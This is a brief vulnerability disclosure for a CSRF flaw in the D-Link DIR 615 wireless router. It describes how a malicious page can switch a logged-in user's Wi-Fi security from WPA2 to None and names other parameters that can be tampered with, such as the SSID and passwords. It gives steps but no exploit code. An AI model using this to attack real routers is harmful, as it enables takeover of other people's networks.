    CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to perform unwanted actions on router, which may lead to gaining full control of the device. 
    
     
    
    Proof Of Concept:
    ================
    
    1) User login to D-link DIR 615 wireless router
    
    2) User visits the attacker's malicious web page (DlinkCSRF.html)
    
    3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security Options to None
    
     
    
    This is the CSRF POC for changing the Security option from WPA2 to None( Parameter: Method)
    
    Attacker can also tamper following parameters
    
    hiddenSSID
    SSID
    Passwords for all the applicable security options
